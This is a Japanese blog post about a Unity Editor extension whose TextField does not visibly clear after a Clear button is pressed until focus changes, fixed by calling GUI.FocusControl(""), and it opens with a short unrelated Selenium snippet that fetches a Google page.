driver.get('https://www.google.co.jp/')
html = driver.page_source
print(html)
driver.quit()
~~~
[Unity] [Editor] GUIでフォーカスを明示的に外さないと表示が更新されないときがある

UnityでEditor拡張書いていてちょっと問題にあたって解決したのでメモ

## 出くわした問題
次のUIを持つEditor拡張を書いていた。
- TextFieldがある
- TextFieldの中身をクリアするボタンをつける

このときにTextFieldに文字を打ったあとにボタンを押してもTextFieldの中身がクリアされていない表示になった。

### 実際の現象
次のコードで再現できる。

```csharp
using UnityEngine;
using UnityEditor;

public class MyEditorWindow : EditorWindow
{
    string myString = "";

    [MenuItem("Window/My Editor Window")]
    static void Init()
    {
        MyEditorWindow window = (MyEditorWindow) EditorWindow.GetWindow(typeof(MyEditorWindow));
        window.Show();
    }

    void OnGUI()
    {
        myString = EditorGUILayout.TextField("Text Field", myString);
        if (GUILayout.Button("Clear"))
        {
            myString = string.Empty;
        }
    }
}
```

動かしてみたのが次のgif。TextFieldはClearボタンが押されたタイミングでなく、その後のフォーカスが変更されたタイミングで空になった。
![EditorWindow.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/110527/9917372a-e3c4-008c-fd06-afb55a9dda64.gif)

## 対応
フォーカスをはずさせるコードを入れることで対応できた。

```csharp
        if (GUILayout.Button("Clear"))
        {
            myString = string.Empty;
            GUI.FocusControl(""); // 追加
        }
```
![EditorWindow2.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/110527/91bb6cf4-e3e6-d8c2-e470-d6c8b2569c1a.gif)

フォーカスされているときは一時的に専用にデータを持っているとかなのだろうか。

## 余談
正しい対応方法なのだろうかヒントを得るため [UnityCsReference](https://github.com/Unity-Technologies/UnityCsReference) で似たようなことやってるコードがないかを調べたら、多分同じ目的で GUI.FocuControl("") や GUI.FocusControl(null) を行っている箇所がいくつか見つかったりした。

ついでに PlayerSettingsEditor.cs では次のコードとコメントを見つけた。

```csharp
// Reset focus when changing between platforms.
// If we don't do this, the resolution width/height value will not update correctly when they have the focus
GUI.FocusControl("");
```

やはりフォーカスがあるままだと更新がうまくいかないのかな。とりあえず公式でも同じ対応の仕方しているので大丈夫そう。